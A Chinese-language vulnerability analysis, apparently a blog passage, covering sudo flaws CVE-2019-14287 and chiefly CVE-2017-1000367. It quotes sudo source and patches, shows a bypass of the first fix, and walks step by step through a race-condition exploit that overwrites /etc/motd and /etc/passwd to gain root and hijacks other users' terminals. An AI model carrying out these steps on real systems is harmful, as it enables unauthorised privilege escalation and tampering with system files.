另外,如果允許用戶以任何用戶身份運(yùn)行命令(包括root用戶),是不受此漏洞影響的,因?yàn)楸緛?lái)用戶輸了密碼之后就可以以root身份運(yùn)行命令吧。允許用戶以特定其他用戶身份運(yùn)行命令也不受此漏洞影響,如下所示。
************ /etc/sudoers ***********
testtest ALL=(strawberry) /usr/bin/id
testtest@ubuntu:/home/strawberry/Desktop$ sudo -u strawberry id
[sudo] password for testtest:
uid=1000(strawberry) gid=1000(strawberry) groups=1000(strawberry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
testtest@ubuntu:/home/strawberry/Desktop$ sudo -u#-1 id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as #-1 on ubuntu.
參考文章
https://www.sudo.ws/alerts/minus_1_uid.html
https://access.redhat.com/security/cve/cve-2019-14287
https://www.anquanke.com/post/id/189315
https://www.freebuf.com/news/216821.html
CVE-2017-1000367 sudo本地提權(quán)漏洞
漏洞簡(jiǎn)訊
2017年5月30日,國(guó)外安全研究人員發(fā)現(xiàn)sudo本地提權(quán)漏洞,該漏洞編號(hào)為CVE-2017-1000367,漏洞源于sudo 在獲取tty時(shí)沒(méi)有正確解析/proc/[pid]/stat 的內(nèi)容,本地攻擊者可能會(huì)使用此漏洞來(lái)覆蓋文件系統(tǒng)上的任何文件,從而監(jiān)控其它用戶終端設(shè)備或獲取root權(quán)限。
研究員發(fā)現(xiàn) Linux 系統(tǒng)中 sudo 的 get_process_ttyname() 有這樣的漏洞:
這個(gè)函數(shù)會(huì)打開(kāi) “ /proc/[pid]/stat ”,并從 field 7 (tty_nr) 中讀取設(shè)備的 tty 編號(hào)。但這些field 是以空格分開(kāi)的,而 field 2中(comm,command的文件名)可以包含空格。
那么,當(dāng)我們從符號(hào)鏈接 “./ 1 ” 中執(zhí)行 sudo 命令時(shí),get_process_ttyname() 就會(huì)調(diào)用sudo_ttyname_dev() 來(lái)在內(nèi)置的 search_devs[] 中努力尋找并不存在的“1”號(hào) tty設(shè)備 。
然后,sudo_ttyname_dev() 開(kāi)始調(diào)用 sudo_ttyname_scan() 方法,遍歷“/dev”目錄,并以廣度優(yōu)先方式尋找并不存在的 tty 設(shè)備“1”。
最后,在這個(gè)遍歷過(guò)程中,我們可以利用漏洞讓當(dāng)前的用戶偽造自己的 tty 為文件系統(tǒng)上任意的字符設(shè)備,然后在兩個(gè)競(jìng)爭(zhēng)條件下,該用戶就可以將自己的tty偽造成文件系統(tǒng)上的任意文件。
值得注意的是,該漏洞第一次修復(fù)是在1.8.20p1版本,但該版本仍存在利用風(fēng)險(xiǎn),可用于劫持另一個(gè)用戶的終端。該漏洞最終于sudo 1.8.20p2版本中得以修復(fù)(此處有第二次補(bǔ)丁)。
在1.8.20p2之前的sudo版本中,還存在以下漏洞利用思路:
具有sudo特權(quán)的用戶可將stdin、stdout 和 stderr 連接到他們選擇的終端設(shè)備上來(lái)運(yùn)行命令。用戶可以選擇與另一個(gè)用戶當(dāng)前正在使用的終端相對(duì)應(yīng)的設(shè)備號(hào),這使得攻擊者可以對(duì)任意終端設(shè)備進(jìn)行讀寫(xiě)訪問(wèn)。根據(jù)允許命令的不同,攻擊者有可能從另一個(gè)用戶的終端讀取敏感數(shù)據(jù)(例如密碼)。
影響范圍
1.7.10 <= sudo version <= 1.7.10p9
1.8.5 <= sudo version <= 1.8.20p1
檢測(cè)方法
請(qǐng)檢查sudo版本是否屬于受漏洞影響版本:
sudo -V
檢查系統(tǒng)是否開(kāi)啟SELinux,sudo是否支持r選項(xiàng)。如果沒(méi)有開(kāi)啟或不支持r選項(xiàng),則無(wú)法利用此漏洞:
[strawberry@redhat ~]$ sestatus
SELinux status: enabled
SELinuxfs mount: /sys/fs/selinux
SELinux root directory: /etc/selinux
Loaded policy name: targeted
Current mode: enforcing
Mode from config file: enforcing
Policy MLS status: enabled
Policy deny_unknown status: allowed
Max kernel policy version: 28
漏洞分析
首先查看CVE-2017-1000367補(bǔ)丁,如下圖所示,此處修改發(fā)生在get_process_ttyname函數(shù)內(nèi)(位于/src/ttyname.c中),從注釋上看改變了獲取tty dev的方式,補(bǔ)丁之前通過(guò)空格數(shù)找到第7項(xiàng)(tty dev),補(bǔ)丁之后的流程是首先找到第二項(xiàng)的 ')' ,然后從第二項(xiàng)終止處通過(guò)空格數(shù)定位到第七項(xiàng):

下面來(lái)看之前代碼,首先獲取pid,然后通過(guò)解析/proc/pid/stat來(lái)獲取設(shè)備號(hào)(通過(guò)空格數(shù)),如果第七項(xiàng)不為0那就是設(shè)備號(hào):
char * get_process_ttyname(char *name, size_t namelen)
{
char path[PATH_MAX], *line = NULL;
char *ret = NULL;
size_t linesize = 0;
int serrno = errno;
ssize_t len;
FILE *fp;
debug_decl(get_process_ttyname, SUDO_DEBUG_UTIL)
/* Try to determine the tty from tty_nr in /proc/pid/stat. */
snprintf(path, sizeof(path), "/proc/%u/stat", (unsigned int)getpid());
if ((fp = fopen(path, "r")) != NULL) {
len = getline(&line, &linesize, fp);
fclose(fp);
if (len != -1) {
/* Field 7 is the tty dev (0 if no tty) */
char *cp = line;
char *ep = line;
const char *errstr;
int field = 0;
在獲取設(shè)備號(hào)之后,程序會(huì)調(diào)用sudo_ttyname_dev尋找設(shè)備文件。首先會(huì)在search_devs列表中的目錄下尋找(這里只截取了/dev/pts下搜索的代碼),如果該文件為字符設(shè)備文件并且設(shè)備號(hào)是要找的設(shè)備號(hào),就返回該文件的路徑吧。如果沒(méi)找到,就調(diào)用sudo_ttyname_scan在/dev下進(jìn)行廣度搜索。
/*
* First check search_devs for common tty devices.
*/
for (sd = search_devs; (devname = *sd) != NULL; sd++) {
len = strlen(devname);
if (devname[len - 1] == '/') {
if (strcmp(devname, "/dev/pts/") == 0) {
/* Special case /dev/pts */
(void)snprintf(buf, sizeof(buf), "%spts/%u", _PATH_DEV,
(unsigned int)minor(rdev));
if (stat(buf, &sb) == 0) {
if (S_ISCHR(sb.st_mode) && sb.st_rdev == rdev) {
sudo_debug_printf(SUDO_DEBUG_INFO|SUDO_DEBUG_LINENO,
"comparing dev %u to %s: match!",
(unsigned int)rdev, buf);
if (strlcpy(name, buf, namelen) < namelen)
rval = name;
else
errno = ERANGE;
goto done;
}
}
...
/*
* Not found? Do a breadth-first traversal of /dev/.
*/
rval = sudo_ttyname_scan(_PATH_DEV, rdev, false, name, namelen);
正常情況下,/dev/pts/0對(duì)應(yīng)了設(shè)備號(hào)0x8800(34816)。測(cè)試:開(kāi)3個(gè)終端,設(shè)備文件分別為/dev/pts/0、/dev/pts/1和/dev/pts/2??梢园l(fā)現(xiàn),從/dev/pts/0起設(shè)備號(hào)從34816開(kāi)始遞增。
strawbe+ 2038 2028 0 01:05 pts/0 00:00:00 bash
strawbe+ 2048 2038 0 01:05 pts/0 00:00:00 sum
strawbe+ 2071 2028 0 01:05 pts/1 00:00:00 bash
strawbe+ 2139 2071 1 01:05 pts/1 00:00:00 python
strawbe+ 2144 2028 0 01:05 pts/2 00:00:00 bash
strawberry@ubuntu:~$ cat /proc/2038/stat
2038 (bash) S 2028 2038 2038 34816 ...
strawberry@ubuntu:~$ cat /proc/2048/stat
2048 (sum) S 2038 2048 2038 34816 ...
strawberry@ubuntu:~$ cat /proc/2071/stat
2071 (bash) S 2028 2071 2071 34817 ...
strawberry@ubuntu:~$ cat /proc/2139/stat
2139 (python) S 2071 2139 2071 34817 ...
strawberry@ubuntu:~$ cat /proc/2144/stat
2144 (bash) S 2028 2144 2144 34818 ...
由于程序會(huì)通過(guò)進(jìn)程stat文件中的空格數(shù)來(lái)定位設(shè)備號(hào),而進(jìn)程名是可控的,進(jìn)程名中可能會(huì)包含空格,使得設(shè)備號(hào)可控,這是問(wèn)題的所在 。下面進(jìn)行測(cè)試,首先設(shè)置兩個(gè)指向sudo的軟連接:./\ \ \ \ \ 66666\ 和./\ \ \ \ \ 34818\ (偽造的設(shè)備號(hào)后面需要填一個(gè)空格,在sudo_strtonum函數(shù)中會(huì)有校驗(yàn)),然后分別使用它們執(zhí)行sudo ls,顯然66666失敗了,因?yàn)闆](méi)有找到num為66666的設(shè)備。
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ tty
/dev/pts/2
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ ./\ \ \ \ \ 66666\ ls
66666 : no tty present and no askpass program specified
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20/build$ ./\ \ \ \ \ 34818\ ls
' 34818 ' ' 66666 ' bin breakt include libexec sbin share
下面看第二次補(bǔ)丁內(nèi)容,主要是獲取/proc/pid/stat中內(nèi)容的方式不同,補(bǔ)丁前還是采用getline函數(shù)獲取文件中的一行,因?yàn)橐话闱闆r下/proc/pid/stat中的內(nèi)容就是一行。補(bǔ)丁后采用read函數(shù)讀取,并檢查讀取的內(nèi)容中是否包含“\x00”,這樣如果不報(bào)錯(cuò)的話,buf中就包含了文件的全部?jī)?nèi)容。另外,buf的長(zhǎng)度為1024,也在一定程度上限制了使用超長(zhǎng)程序名的攻擊。

第一次補(bǔ)丁繞過(guò):第一次補(bǔ)丁中通過(guò)strrchr函數(shù)找到最后一個(gè)")",然后再通過(guò)空格定位設(shè)備號(hào)。然而程序只讀取一行,我們可以在程序名中加入")",然后在偽造的內(nèi)容后面加入換行符,這樣程序讀取數(shù)據(jù)之后會(huì)找到我們的")"作為程序名結(jié)束的標(biāo)志,我們還是可以控制設(shè)備號(hào)。
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ tty
/dev/pts/3
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ './) 34819
' ls
') 34819 '$'\n' bin include libexec sbin share
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_20p1/build$ "./) 66666
" ls
) 66666
: no tty present and no askpass program specified
繼續(xù)~ sudo在核對(duì)用戶密碼之后,會(huì)調(diào)用run_command(&command_details)來(lái)運(yùn)行用戶指定的命令,然后run_command->sudo_execute->exec_cmnd->exec_setup->selinux_setup->relabel_tty,在relabel_tty中可能會(huì)調(diào)用open(ttyn, O_RDWR|O_NONBLOCK)和dup2將stdin, stdout, and stderr重定向到用戶的tty,攻擊者可以利用這一點(diǎn)對(duì)控制的設(shè)備號(hào)所對(duì)應(yīng)的目標(biāo)文件進(jìn)行未授權(quán)讀寫(xiě)操作。
/* Re-open tty to get new label and reset std{in,out,err} */
close(se_state.ttyfd);
se_state.ttyfd = open(ttyn, O_RDWR|O_NONBLOCK);
if (se_state.ttyfd == -1) {
sudo_warn(U_("unable to open %s"), ttyn);
goto bad;
}
(void)fcntl(se_state.ttyfd, F_SETFL,
fcntl(se_state.ttyfd, F_GETFL, 0) & ~O_NONBLOCK);
for (fd = STDIN_FILENO; fd <= STDERR_FILENO; fd++) {
if (isatty(fd) && dup2(se_state.ttyfd, fd) == -1) {
sudo_warn("dup2");
goto bad;
}
}
另外,exec_setup會(huì)判斷CD_RBAC_ENABLED標(biāo)志位是否設(shè)置,設(shè)置了才會(huì)去執(zhí)行selinux_setup(如下面第一段代碼所示)。如果使用sudo的r選項(xiàng),且開(kāi)啟SELinux,則該標(biāo)志就會(huì)設(shè)置(如第二段代碼所示)。所以,如果系統(tǒng)開(kāi)啟了開(kāi)啟SELinux,且sudo支持r選項(xiàng),則有機(jī)會(huì)利用這個(gè)漏洞。
#ifdef HAVE_SELINUX
if (ISSET(details->flags, CD_RBAC_ENABLED)) {
if (selinux_setup(details->selinux_role, details->selinux_type,
ptyname ? ptyname : user_details.tty, ptyfd) == -1)
goto done;
}
#endif
#ifdef HAVE_SELINUX
if (details->selinux_role != NULL && is_selinux_enabled() > 0)
SET(details->flags, CD_RBAC_ENABLED);
#endif
漏洞利用
先復(fù)述一下第一種利用思路吧(這個(gè)難一點(diǎn)點(diǎn)),get_process_ttyname函數(shù)獲取設(shè)備號(hào)的方式存在漏洞,使得攻擊者可控制設(shè)備號(hào)。程序會(huì)通過(guò)比對(duì)的方式獲取與該設(shè)備號(hào)相對(duì)應(yīng)的設(shè)備文件,首先會(huì)在內(nèi)置的 search_devs列表中尋找,如果沒(méi)找到就會(huì)從/dev中尋找。攻擊者可以在/dev目錄下選擇一個(gè)可寫(xiě)的文件夾,向其中寫(xiě)入一個(gè)指向/dev/pts/num的軟連接,要求這個(gè)num文件當(dāng)前不存在,并且要和偽造的設(shè)備號(hào)相對(duì)應(yīng),就像前面所說(shuō)的/dev/pts/0和34816。然后通過(guò)帶有空格和偽造設(shè)備號(hào)的軟連接啟動(dòng)sudo(要加-r選項(xiàng),這樣才能重定向),程序在/dev/pts下找不到num文件,因而會(huì)從/dev下沒(méi)有被忽略的文件中去找,當(dāng)程序找到存放鏈接文件的文件夾時(shí),暫停sudo程序,調(diào)用openpty函數(shù)不斷創(chuàng)建終端,直到出現(xiàn)/dev/pts/num文件,然后繼續(xù)運(yùn)行sudo程序,這樣程序獲取的設(shè)備文件就是攻擊者偽造的那個(gè)軟鏈接。然后在程序關(guān)閉文件夾的時(shí)候,再次暫停程序,將這個(gè)軟鏈接重新指向攻擊者想要寫(xiě)入的文件然后運(yùn)行程序,這樣程序以為的tty實(shí)際上是攻擊者指定的文件,然后程序會(huì)通過(guò)dup2將stdin, stdout, and stderr重定向到這個(gè)文件。這樣我們可以通過(guò)控制可用命令的輸出或報(bào)錯(cuò)信息,從而精準(zhǔn)覆寫(xiě)系統(tǒng)上的任意文件。
1、尋找/dev下可寫(xiě)目錄,可以找到mqueue/和shm/。在shm/中創(chuàng)建文件夾/_tmp,并在其中設(shè)置/dev/shm/_tmp/_tty->/dev/pts/57、/dev/shm/_tmp/ 34873 ->/usr/bin/sudo。
strawberry@ubuntu:/dev$ ll | grep drwxrwx
drwxrwxrwt 2 root root 40 Feb 13 18:20 mqueue/
drwxrwxrwt 3 root root 60 Feb 13 19:08 shm/
2、sudo -r 選項(xiàng),ubuntu中的sudo雖內(nèi)置了這個(gè)選項(xiàng),但沒(méi)有安裝selinux,所以沒(méi)有測(cè)試成功。
-r role create SELinux security context with specified role
3、在redhat下測(cè)試,sudo -r unconfined_r可以用。執(zhí)行/dev/shm/_tmp/ 34873 -r unconfined_r /usr/bin/sum "--\nHELLO\nWORLD\n",程序會(huì)去尋找設(shè)備號(hào)為34873的設(shè)備。
[testtest@redhat ~]$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[testtest@redhat ~]$ sudo -r unconfined_r sum test
00000 0
[testtest@redhat ~]$ sudo -r asdf sum test
sudo: unable to get default type for role asdf
4、由于/dev/pts/57不存在,程序在遍歷完search_devs列表中的目錄后會(huì)在/dev下尋找,我們監(jiān)測(cè)/dev/shm/_tmp文件夾是否打開(kāi),如果打開(kāi)了就向sudo進(jìn)程發(fā)送SIGSTOP信號(hào)使其暫停,同時(shí)調(diào)用openpty函數(shù)生成/dev/pts/57,如果/dev/pts/57存在了,就向sudo發(fā)送SIGCONT信號(hào)恢復(fù)其運(yùn)行。
[+] Create /dev/pts/2
[+] Create /dev/pts/3
...
[+] Create /dev/pts/57
5、檢測(cè)到/dev/shm/_tmp文件夾關(guān)閉后,暫停sudo程序,修改/dev/shm/_tmp/_tty,使其指向/etc/motd,成功后繼續(xù)運(yùn)行程序。
6、為了可以兩次成功暫停sudo進(jìn)程,可以將其優(yōu)先級(jí)設(shè)置為19,調(diào)用sched_setscheduler為其設(shè)置SCHED_IDLE策略,調(diào)用sched_setaffinity使sudo進(jìn)程和利用進(jìn)程使用相同的CPU,而利用進(jìn)程的優(yōu)先級(jí)被設(shè)置為-20(最高優(yōu)先級(jí))。
7、最終測(cè)試:在sudoers添加testtest ALL=(ALL) /usr/bin/sum策略,運(yùn)行sudopwn(將輸出/重定向到/etc/motd),可以看出文件中的內(nèi)容原本為“motd”,運(yùn)行程序后被覆蓋為sum命令的報(bào)錯(cuò)信息:
Last login: Thu Feb 13 15:02:54 2020
motd
[testtest@redhat ~]$ ./sudopwn
[sudo] password for testtest:
[testtest@redhat ~]$ cat /etc/motd
/usr/bin/sum: unrecognized option '--
HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.
第二種利用思路簡(jiǎn)單一些,攻擊者在登錄之后,可進(jìn)入/dev/pts目錄篩選出其它用戶登錄的設(shè)備,計(jì)算該設(shè)備號(hào),利用此漏洞使用帶有此設(shè)備號(hào)的符號(hào)鏈接來(lái)啟動(dòng)sudo程序,根據(jù)其授權(quán)的命令不同可選擇獲取對(duì)該終端的讀寫(xiě)權(quán)限。
[testtest@redhat pts]$ tty
/dev/pts/1
[testtest@redhat pts]$ ls
0 1 2 ptmx
[testtest@redhat ~]$ ./sudopwn2
Input pts num: 2
[sudo] password for testtest:
[testtest@redhat ~]$
[strawberry@redhat ~]$ /usr/bin/sum: unrecognized option '--
HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.
漏洞總結(jié)
sudo獲取設(shè)備號(hào)的方式存在漏洞,使得攻擊者可控制設(shè)備號(hào)。攻擊者可選取一組對(duì)應(yīng)的設(shè)備號(hào)和設(shè)備文件,使用帶有偽造設(shè)備號(hào)的符號(hào)鏈接啟動(dòng)sudo。由于漏洞的存在,程序會(huì)讀取錯(cuò)誤的設(shè)備號(hào),并在/dev中尋找相應(yīng)的設(shè)備文件(如果是本身不存在的設(shè)備文件,攻擊者還需選擇合適的時(shí)機(jī)創(chuàng)建此設(shè)備文件,并在另一刻將指向其的符號(hào)鏈接指向目標(biāo)文件)。當(dāng)程序運(yùn)行在啟用SELinux的系統(tǒng)上時(shí),如果sudo使用了r選項(xiàng)使用指定role創(chuàng)建SELinux安全上下文,則會(huì)將stdin、stdout和stderr重定向到當(dāng)前設(shè)備,這可能允許攻擊者對(duì)目標(biāo)設(shè)備進(jìn)行未授權(quán)讀寫(xiě)。假如攻擊者利用該漏洞覆寫(xiě)了/etc/passwd文件,則有可能獲取root權(quán)限。
strawberry@ubuntu:~$ ssh testtest@192.168.29.173
testtest@192.168.29.173's password:
Last login: Thu Feb 13 15:02:54 2020
[testtest@redhat ~]$ whoami
testtest
[testtest@redhat ~]$ ./sudopwn
[sudo] password for testtest:
[testtest@redhat ~]$ whoami
whoami: cannot find name for user ID 1001
[testtest@redhat ~]$ logout
Connection to 192.168.29.173 closed.
strawberry@ubuntu:~$ ssh testtest@192.168.29.173
testtest@192.168.29.173's password:
Last login: Thu Feb 13 16:29:05 2020 from 192.168.29.155
[root@redhat ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
參考文章
https://www.sudo.ws/alerts/linux_tty.html
https://www.freebuf.com/articles/system/136975.html
https://www.freebuf.com/vuls/136156.html
http://securityaffairs.co/wordpress/59606/hacking/linux-flaw.html
https://www.openwall.com/lists/oss-security/2017/05/30/16